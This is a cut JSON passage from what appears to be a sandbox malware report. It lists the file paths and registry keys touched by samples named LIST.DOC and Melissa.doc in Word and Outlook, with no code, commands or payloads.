shared\\VBA\\VBA6\\VBE6EXT.OLB","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%APPDATA%\\Microsoft\\UProof\\CUSTOM.DIC","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\System32\\en-US\\mlang.dll.mui","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"C:\\share","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"C:\\LIST.DOC","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"},{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"path":"C:\\Users\\WmLOfxY","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\RENMYI34","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\RENMYI34\\LIST.DOC","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"C:\\LIST.DOC:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\RENMYI34\\LIST.DOC:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"path":"%TEMP%\\CVRA97E.tmp","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRS{7B544987-4EA7-47FE-84F1-A26744347427}.tmp","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"%TEMP%\\~DF706D1E18344266B9.TMP","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"C:\\~$elissa.doc","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRS{95E817A0-C6B8-44B3-9DFC-B543A5165A00}.tmp","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\Melissa.doc.LNK","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Content.Word\\~WRF{E24C2D4A-DF4E-4288-8D9F-6E9E1BB52FD4}.tmp","sources":[{"report_type":"sandbox","report_id":"66c0d90bdf882e09ce0cc440"}]},{"path":"%TEMP%\\CVRE126.tmp","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{CA3C0914-B8BA-4901-9610-C9122BC52C99}.tmp","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%TEMP%\\~DF82FA5BD431955B70.TMP","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\VBA\\VBA7\\VBE7.DLL","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{61AD317F-899D-4A8C-92CA-DFF4FA8B3373}.tmp","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\VBA\\VBA6\\VBE6EXT.OLB","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{4C6E3D29-5F7D-43D5-8849-FDF6BAA2A535}.tmp","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office14\\OUTLOOK.EXE","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\MSO.DLL","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%TEMP%\\CVR191E.tmp","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%COMMONPROGRAMFILES%\\microsoft shared\\OFFICE14\\1033\\ALRTINTL.DLL","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_Calendar_2_561BF61FF26E7943BB9D910A6AA1ABD2.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_AvailabilityOptions_2_191E991C30EEF440923507C393491FD9.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_WorkHours_1_7074A20206884C48BD602203C7DF88D6.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_RssRule_2_8B7050C0C758A949B963D38B06C72993.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_ContactPrefs_2_A95DF86561E6CE4BB316E0F5AE3C0603.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_ConversationPrefs_2_3E0178D0DAF4F7498AEB469B68E04572.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\RoamCache\\Stream_TCPrefs_2_4C0D934E0EF8FD49844FFE76AFC7315E.dat","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies\\I88H097X.txt","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Outlook\\mapisvc.inf","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"C:\\Users\\4kYnpTs","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\LGX4FYGI","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\LGX4FYGI\\LIST.DOC","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Outlook\\LGX4FYGI\\LIST.DOC:Zone.Identifier","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%WINDIR%\\Installer\\{91140000-0012-0000-0000-0000000FF1CE}\\wordicon.exe","sources":[{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"path":"%APPDATA%\\Microsoft\\Office\\MSO1033.acl","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Office\\Word14.customUI","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LANGUAGERESOURCES\\ENABLEDLANGUAGES\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\OFFICE\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\MIGRATION\\WORD\\","sources":[{"report_type":"sandbox","report_id":"64a5d766ed4f54f90b04e216"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\OPTIONS\\VPREF\\","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\THEMES\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\WORDDOCPARTS\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\COMMON\\LCCACHE\\SMARTART\\1033\\NEXTUPDATE\\NEXTUPDATE","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\RESILIENCY\\STARTUPITEMS\\9-6\\9-6","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\MAX DISPLAY\\MAX DISPLAY","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 1\\ITEM 1","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 2\\ITEM 2","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 3\\ITEM 3","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 4\\ITEM 4","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 5\\ITEM 5","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 6\\ITEM 6","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 7\\ITEM 7","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 8\\ITEM 8","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 9\\ITEM 9","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 10\\ITEM 10","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 11\\ITEM 11","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 12\\ITEM 12","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 13\\ITEM 13","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 14\\ITEM 14","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 15\\ITEM 15","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 16\\ITEM 16","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 17\\ITEM 17","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 18\\ITEM 18","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 19\\ITEM 19","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 20\\ITEM 20","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 21\\ITEM 21","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 22\\ITEM 22","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 23\\ITEM 23","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 24\\ITEM 24","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 25\\ITEM 25","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 26\\ITEM 26","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 27\\ITEM 27","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 28\\ITEM 28","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 29\\ITEM 29","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 30\\ITEM 30","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 31\\ITEM 31","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 32\\ITEM 32","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 33\\ITEM 33","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 34\\ITEM 34","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 35\\ITEM 35","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 36\\ITEM 36","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 37\\ITEM 37","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 38\\ITEM 38","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 39\\ITEM 39","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 40\\ITEM 40","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 41\\ITEM 41","sources":[{"report_type":"sandbox","report_id":"60570d6f4ff751744c54315a"},{"report_type":"sandbox","report_id":"5e1f704d484ec8669b0fb0f7"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\OFFICE\\14.0\\WORD\\PLACE MRU\\ITEM 42\\ITEM 